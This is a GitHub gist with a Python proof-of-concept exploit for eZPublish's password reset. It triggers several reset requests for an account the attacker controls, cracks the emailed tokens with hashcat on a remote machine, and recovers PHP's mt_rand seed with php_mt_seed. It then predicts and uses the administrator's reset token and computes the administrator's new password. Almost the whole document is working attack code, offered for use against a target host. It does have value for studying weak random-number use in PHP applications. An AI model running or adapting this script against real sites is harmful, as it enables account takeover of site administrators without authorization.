Skip to content

Instantly share code, notes, and snippets.

@us3r777
Created July 22, 2015 09:17
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save us3r777/e08aeca78ff369efe88b to your computer and use it in GitHub Desktop.
#! /usr/bin/python
"""
eZPublish token reset and password prediction PoC.
This PoC is a bit dirty, to adapt it to your needs you may have to rewrite the
following functions :
- getTokenFromMails(): used to retrieve emails and extract the reset token.
Is currently using GMail.
- crackHashes(): used to crack the retrieved tokens in order to extract
mt_rand throws. Is currently using a remote cracking machine
and cudaHashcat.
@us3r777
"""
from socket import *
import urllib
import re
import argparse
import threading
import time, datetime
import subprocess
import sys
import hashlib
import imaplib
import getpass
import email
NB_TOKENS = 5 # The number of token to generate
def spawnNewApacheProcesses( conNum, host, port = 80):
""" Creates the necessary connections in order for a new process to be spawn in apache. """
request = 'GET / HTTP/1.1\r\nHost: '+ host + '\r\nConnection: Keep-Alive\r\n\r\n'
sockList = []
for i in range(conNum):
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
s.send(request)
sockList.append(s)
return sockList
def closeNewApacheConnections( sockList ):
""" Closes the opened connections. """
for s in sockList:
s.close()
def startHeartbeat(socket, request):
""" Makes a request on the socket in order to keep the connection up """
try:
# NB_TOKENS requests have already been sent
for i in range(0,100 - NB_TOKENS):
socket.send(request)
time.sleep(4)
except:
print("Connection has been closed. Stopping heartbeat")
print("Heartbeat stopped")
def extractTokenFromMail(mail):
""" Extracts token from the mail body """
token = re.search("forgotpassword/([a-f0-9]{32})", mail).group(1)
return token
def getTokensFromMails(email_address, password):
"""
Fetches mail from email_address. This function currently fetches mail
under ezpublish label from a gmail address.
Adapt it to your needs.
"""
tokens = []
M = imaplib.IMAP4_SSL('imap.gmail.com')
M.login(email_address, password)
rv, data = M.select("ezpublish")
if rv == 'OK':
rv, data = M.search(None, "ALL")
if rv != 'OK':
print "No messages found!"
return
for num in data[0].split():
rv, data = M.fetch(num, '(RFC822)')
if rv != 'OK':
print "ERROR getting message", num
return
msg = email.message_from_string(data[0][1])
body = msg.get_payload()
token = extractTokenFromMail(body)
tokens.append(token)
print("Token found : " + token)
M.store(num, '+FLAGS', '\\Deleted') # Mark the mail as deleted
M.expunge()
M.close()
M.logout()
return tokens
def recvTimestamps(socket, nb_timestamp):
""" Receives nb_timestamp timestamps from socket """
timestamps = []
timestamp_count = 0
while timestamp_count < nb_timestamp:
buf = socket.recv(256)
match = re.search("Date:\ ...,\ ([^G]*)G", buf)
if match:
timestring = match.group(1)
timestamp = time.mktime(datetime.datetime.strptime(timestring, "%d %b %Y %H:%M:%S ").timetuple())
timestamp = int(timestamp + (3600 * 2)) # Hardcoded GMT+2
timestamps.append(timestamp)
timestamp_count += 1
print("Timestamp found : " + str(timestamp))
return timestamps
def timeSince(start):
current_time = time.time() - start
minutes = "%d" % (current_time / 60)
seconds = "%0.2f" % (current_time % 60)
return "[ " + minutes + " min " + seconds + " sec ]"
def crackHashes(tokens, timestamps, user_id, nb_tokens):
"""
This function uses user_id and timestamps (salt) to crack the tokens.
Currently it uses an external cracking machine to crack the hashes.
Adapt it to your needs.
"""
# Write hashes and salt to a file
with open("hash", "w+") as hashfile:
for i in range(nb_tokens):
salt = (user_id + ":" + str(timestamps[i]) + ":").encode("hex")
hashfile.write(tokens[i] + ":" + salt + "\n")
# Upload the file on the password cracking machine
print('[+] Uploading hashes to the password cracking machine')
subprocess.call("scp hash 192.168.1.1:~/ezpublish", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
print('[+] Launching cudahashcat ...')
mt_rand_values = [ None ] * nb_tokens
command = "ssh 192.168.1.1 /opt/tools/cudaHashcat-1.36/cudaHashcat64.bin -a 3 -m 20 --hex-salt -i ~/ezpublish/hash '?d?d?d?d?d?d?d?d?d?d'"
cudahashcat = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = cudahashcat.communicate() # Wait for the process to end
matches = re.findall("([0-9a-f]{32}):[0-9a-f]{26,30}:([0-9]{1,11})", output[0])
for hash_recovered, mt_rand_value in matches:
print("Hash " + hash_recovered + " recovered : " + mt_rand_value)
mt_rand_values[tokens.index(hash_recovered)] = mt_rand_value
return mt_rand_values
def crackSeed(mt_rand_values):
"""
Uses php_mt_seed to crack the seed using the recovered mt_rand_values.
php_mt_seed is available from http://www.openwall.com/php_mt_seed/
the binary must be in the same directory.
"""
MIN = "0"
MAX = "2147483647"
PHP_MT_SEED = "exec ./php_mt_seed"
SEP = " "
SKIP = "0 0 0 0"
commands = PHP_MT_SEED + SEP
# Sometimes all mt_rand_values are not recovered due to difference in
# timestamp between generation of the token and server response.
for mt_rand_value in mt_rand_values:
if mt_rand_value:
commands += SKIP + SEP + mt_rand_value + SEP + mt_rand_value + SEP + MIN + SEP + MAX + SEP
# Skip when there is no value
else:
commands += SKIP + SEP + SKIP + SEP
print(commands)
php_mt_seed = subprocess.Popen(commands, shell=True, stdout=subprocess.PIPE)
seed = None
while True:
out = php_mt_seed.stdout.readline()
if out == '' and php_mt_seed.poll() != None:
break
if out != '':
match = re.search("seed\ =\ ([0-9]{1,11})",out)
if match:
seed = match.group(1)
php_mt_seed.kill()
break
return seed
def recvAll(the_socket,timeout=2):
the_socket.setblocking(0) # make socket non blocking
total_data=[];
data='';
begin=time.time()
while 1:
if total_data and time.time()-begin > timeout:
break
elif time.time()- begin > timeout*2:
break
# recv something
try:
data = the_socket.recv(1024)
if data:
total_data.append(data)
begin=time.time()
else:
time.sleep(0.1)
except:
pass
the_socket.setblocking(1)
#join all parts to make final string
return ''.join(total_data)
def phpPredict(skip, seed):
"""
Calls a php script to predict the number generated by PHP after SKIP
throws using SEED to initialize the Mersene Twister generator
"""
predict = subprocess.Popen("php predict.php " + str(skip) + " " + seed,
shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = predict.communicate()[0]
return re.match("([0-9]{1,11})", output).group(1)
def predictPassword(password_length, time, mt_rand_value):
"""
python version of the ezPublish createPassword function from
kernel/classes/datatypes/ezuser/ezuser.php
"""
chars = 0;
password = ''
decimal = 0;
seed = str(time) + ":" + mt_rand_value
while chars < password_length:
text = hashlib.md5(seed).hexdigest()
characterTable = "abcdefghijkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ123456789"
tableCount = len(characterTable)
i = 0
while chars < password_length and i < 32:
decimal += int(text[i:i+2], 16)
index = decimal % tableCount
character = characterTable[index]
password += character
i += 2
chars += 1
return password
def parseArguments():
parser = argparse.ArgumentParser(
description='EZPublish reset token and password prediction tool')
parser.add_argument('--host', action='store', dest='host',
help='target hostname', required=True)
parser.add_argument('--proc', action='store', dest='proc', default=15,
type=int, help='The number of process to spawn')
parser.add_argument('--port', action='store', dest='port', type=int,
default=80, help='Port in which Apache is listening')
parser.add_argument('--app-base', action='store', dest='app_base',
default="/", help='The application base path')
parser.add_argument('--user-id', action='store', dest='user_id',
help='The id of the ezpublish user you control',
required=True)
parser.add_argument('--user-email', action='store', dest='user_email',
help='The email of the ezpublish user you control',
required=True)
parser.add_argument('--target-user-email', action='store', dest='target_email',
help='The email of the target ezpublish user',
required=True)
parser.add_argument('--target-user-id', action='store', dest='target_user_id',
help='The id of the target ezpublish user',
default="14")
args = parser.parse_args()
return args
def sendResetRequest(socket, host, app_base, email):
data = 'UserEmail=' + urllib.quote(email) + '&GenerateButton=G%C3%A9n%C3%A9rer+un+nouveau+mot+de+passe'
request = 'POST ' + app_base + 'index.php/fre/user/forgotpassword HTTP/1.1\r\n' + \
'Host: ' + host + '\r\n' + \
'User-Agent: Mozilla/5.0\r\n' + \
'Connection: keep-alive\r\n' + \
'Content-Type: application/x-www-form-urlencoded\r\n' + \
'Content-Length: ' + str(len(data)) + '\r\n\r\n' + \
data
socket.send(request)
def main():
args = parseArguments()
heartbeat_request = 'GET / HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\n\r\n' % args.host
start_time = time.time()
print('[+] Forcing creation of new apache process. ' + timeSince(start_time))
conList = spawnNewApacheProcesses( args.proc, args.host )
print('[+] Requesting ' + str(NB_TOKENS) + ' password reset ... ' + timeSince(start_time))
s = socket(AF_INET, SOCK_STREAM)
s.connect((args.host, args.port))
for i in range(NB_TOKENS):
time.sleep(2) # Wait to ensure throws have different timestamp
sendResetRequest(s, args.host, args.app_base, args.user_email)
timestamps = recvTimestamps(s, NB_TOKENS)
print('[+] Starting Heartbeat ... ' + timeSince(start_time))
thread = threading.Thread(None, startHeartbeat, None, (s, heartbeat_request), None)
thread.start()
print('[+] Getting the mails ... ' + timeSince(start_time))
time.sleep(10) # Wait 10 seconds to ensure mails are transmited
tokens = getTokensFromMails(args.user_email, getpass.getpass())
print('[+] Cracking hashes')
mt_rand_values = crackHashes(tokens, timestamps, args.user_id, NB_TOKENS)
print('[+] Cracking the seed ... ' + timeSince(start_time))
seed = crackSeed(mt_rand_values)
if seed:
print("\n-----------------------------------------")
print("Seed found : " + seed + " " + timeSince(start_time))
print("-----------------------------------------")
# Flush the content of the pipe before reseting admin password
# To get the right timestamp
while(len(s.recv(256)) == 256):
pass
print("[+] Predicting token for user admin : ")
mt_rand_value = phpPredict((NB_TOKENS * 2 + 1), seed)
print("[+] Reseting admin password ... ")
sendResetRequest(s, args.host, args.app_base, args.target_email)
timestamp = recvTimestamps(s, 1)[0]
token = hashlib.md5(args.target_user_id + ":"+ str(timestamp) + ":" + mt_rand_value).hexdigest()
token_reset_url = args.app_base + "index.php/user/forgotpassword/" + token
print("[+] Admin token url : http://" + args.host + token_reset_url)
print("[+] GET " + token_reset_url + " ...")
while(len(s.recv(256)) == 256):
pass
token_reset_request = 'GET ' + token_reset_url + ' HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\n\r\n' % args.host
s.send(token_reset_request)
timestamp = recvTimestamps(s, 1)[0]
page = recvAll(s)
match = re.search("Un nouveau mot de passe", page)
if match:
print("[+] Password successfully reset !")
print("[+] Predicting password for user admin " + timeSince(start_time))
mt_rand_value = phpPredict((NB_TOKENS * 2 + 2), seed)
password = predictPassword(6, timestamp, mt_rand_value)
print("-----------------------------------------")
print("[+] Password of admin reset to : " + password + " " + timeSince(start_time))
print("-----------------------------------------")
else:
print("[!] Unable to reset password using token " + token + ". Probably due to a timestamp mismatch.")
s.close()
closeNewApacheConnections( conList )
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment